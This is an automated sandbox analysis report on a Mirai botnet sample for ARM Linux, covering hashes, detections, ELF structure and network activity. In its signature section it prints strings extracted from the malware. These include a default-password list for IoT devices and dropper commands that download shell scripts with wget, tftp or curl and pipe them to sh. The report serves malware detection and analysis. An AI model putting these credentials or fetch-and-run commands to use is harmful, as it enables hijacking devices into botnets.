Joe Sandbox Cloud Basic Analysis Report

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Linux Analysis Report
la.bot.arm.elf

Overview

General Information

Sample name:la.bot.arm.elf
Analysis ID:1585724
MD5:e2b586d13563784b1531be46c0918954
SHA1:22f12c8e573fdadf34107d7c89327935a14241fe
SHA256:7a850ab1647b0bb2321d613d75b97cb6f61213acc561ebfc23895c1dea8eed4e
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1585724
Start date and time:2025-01-08 05:35:56 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 41s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.arm.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0

Runtime Messages

Command:/tmp/la.bot.arm.elf
PID:5514
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

  • system is lnxubuntu20
  • la.bot.arm.elf (PID: 5514, Parent: 5439, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/la.bot.arm.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
la.bot.arm.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5514.1.00007fa788017000.00007fa788030000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security

      Suricata Signatures

      ⊘No Suricata rule has matched

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for submitted file
      Source: la.bot.arm.elfVirustotal: Detection: 33%Perma Link
      Source: la.bot.arm.elfReversingLabs: Detection: 31%
      Source: la.bot.arm.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k`
      Source: /tmp/la.bot.arm.elf (PID: 5514)Socket: 127.0.0.1:43478Jump to behavior
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: la.bot.arm.elfString found in binary or memory: http:///curl.sh
      Source: la.bot.arm.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /tmp/la.bot.arm.elf (PID: 5514)Queries kernel information via 'uname': Jump to behavior
      Source: la.bot.arm.elf, 5514.1.00007ffd5d851000.00007ffd5d872000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm.elf
      Source: la.bot.arm.elf, 5514.1.000055d9f1ad7000.000055d9f1c25000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
      Source: la.bot.arm.elf, 5514.1.000055d9f1ad7000.000055d9f1c25000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
      Source: la.bot.arm.elf, 5514.1.00007ffd5d851000.00007ffd5d872000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
      Source: la.bot.arm.elf, 5514.1.00007ffd5d851000.00007ffd5d872000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: la.bot.arm.elf, type: SAMPLE
      Source: Yara matchFile source: 5514.1.00007fa788017000.00007fa788030000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: la.bot.arm.elf, type: SAMPLE
      Source: Yara matchFile source: 5514.1.00007fa788017000.00007fa788030000.r-x.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting      		Valid AccountsWindows Management Instrumentation1
      Scripting      		Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery      		Remote ServicesData from Local System1
      Non-Application Layer Protocol      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol      		Exfiltration Over BluetoothNetwork Denial of Service

      Malware Configuration

      ⊘No configs have been found

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      la.bot.arm.elf33%VirustotalBrowse
      la.bot.arm.elf32%ReversingLabsLinux.Trojan.Mirai

      Dropped Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      		162.213.35.24
      		truefalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.shla.bot.arm.elffalse
          		high
          http:///curl.shla.bot.arm.elffalse
            		high

            World Map of Contacted IPs

            ⊘No contacted IP infos

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.comla.bot.sparc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            la.bot.powerpc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            la.bot.sh4.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            mips.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            boatnet.mpsl.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            boatnet.arm.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            boatnet.ppc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            boatnet.m68k.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            boatnet.arm7.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            boatnet.x86.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25

            ASNs

            ⊘No context

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            ⊘No context

            Created / dropped Files

            ⊘No created / dropped files found

            Static File Info

            General

            File type:ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
            Entropy (8bit):6.072178911054267
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:la.bot.arm.elf
            File size:102'000 bytes
            MD5:e2b586d13563784b1531be46c0918954
            SHA1:22f12c8e573fdadf34107d7c89327935a14241fe
            SHA256:7a850ab1647b0bb2321d613d75b97cb6f61213acc561ebfc23895c1dea8eed4e
            SHA512:b6a4f1f64c339572b5a61a8cde45911ed5bda10bfb202a21b4c2069a137feb16694ff090bdc50b8a254f969ddb2622b801573cab851926ce1361181f499fefc7
            SSDEEP:3072:hOShPVQbwG+m32b+UFwZHE7Vlqj6eiVfEVBlf2nf7:hOoPV6wG++2imjqehfE3l+
            TLSH:4FA30955B8829A57C6C042BBFA4F828D372663D8E2DF3307DD25AF21368B46B1D6B141
            File Content Preview:.ELF...a..........(.........4...........4. ...(..........................................................f..........Q.td..................................-...L."....U..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

            Static ELF Info

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:ARM
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:ARM - ABI
            ABI Version:0
            Entry Point Address:0x8190
            Flags:0x202
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:101600
            Section Header Size:40
            Number of Section Headers:10
            Header String Table Index:9

            Sections

            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x80940x940x180x00x6AX004
            .textPROGBITS0x80b00xb00x154a40x00x6AX0016
            .finiPROGBITS0x1d5540x155540x140x00x6AX004
            .rodataPROGBITS0x1d5680x155680x33380x00x2A004
            .ctorsPROGBITS0x288a40x188a40x80x00x3WA004
            .dtorsPROGBITS0x288ac0x188ac0x80x00x3WA004
            .dataPROGBITS0x288b80x188b80x3e80x00x3WA004
            .bssNOBITS0x28ca00x18ca00x62f40x00x3WA004
            .shstrtabSTRTAB0x00x18ca00x3e0x00x0001

            Program Segments

            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x80000x80000x188a00x188a06.09600x5R E0x8000.init .text .fini .rodata
            LOAD0x188a40x288a40x288a40x3fc0x66f03.03880x6RW 0x8000.ctors .dtors .data .bss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

            Network Behavior

            Network Port Distribution

            TCP Packets

            TimestampSource PortDest PortSource IPDest IP
            Jan 8, 2025 05:37:06.256697893 CET3480053192.168.2.138.8.8.8
            Jan 8, 2025 05:37:06.261672974 CET53348008.8.8.8192.168.2.13
            Jan 8, 2025 05:37:06.261759043 CET3480053192.168.2.138.8.8.8
            Jan 8, 2025 05:37:06.261759043 CET3480053192.168.2.138.8.8.8
            Jan 8, 2025 05:37:06.261776924 CET3480053192.168.2.138.8.8.8
            Jan 8, 2025 05:37:06.266644955 CET53348008.8.8.8192.168.2.13
            Jan 8, 2025 05:37:06.266660929 CET53348008.8.8.8192.168.2.13
            Jan 8, 2025 05:37:06.722049952 CET53348008.8.8.8192.168.2.13
            Jan 8, 2025 05:37:06.722167015 CET3480053192.168.2.138.8.8.8
            Jan 8, 2025 05:37:06.854042053 CET53348008.8.8.8192.168.2.13
            Jan 8, 2025 05:37:06.854204893 CET3480053192.168.2.138.8.8.8
            Jan 8, 2025 05:37:08.722230911 CET53348008.8.8.8192.168.2.13
            Jan 8, 2025 05:37:08.722553015 CET3480053192.168.2.138.8.8.8
            Jan 8, 2025 05:37:08.727440119 CET53348008.8.8.8192.168.2.13

            DNS Queries

            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 8, 2025 05:37:06.261759043 CET192.168.2.138.8.8.80x8e9fStandard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 8, 2025 05:37:06.261776924 CET192.168.2.138.8.8.80x89dbStandard query (0)daisy.ubuntu.com28IN (0x0001)false

            DNS Answers

            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 8, 2025 05:37:06.722049952 CET8.8.8.8192.168.2.130x8e9fNo error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
            Jan 8, 2025 05:37:06.722049952 CET8.8.8.8192.168.2.130x8e9fNo error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false

            System Behavior

            General

            Start time (UTC):04:37:02
            Start date (UTC):08/01/2025
            Path:/tmp/la.bot.arm.elf
            Arguments:/tmp/la.bot.arm.elf
            File size:4956856 bytes
            MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

            Chronological Activities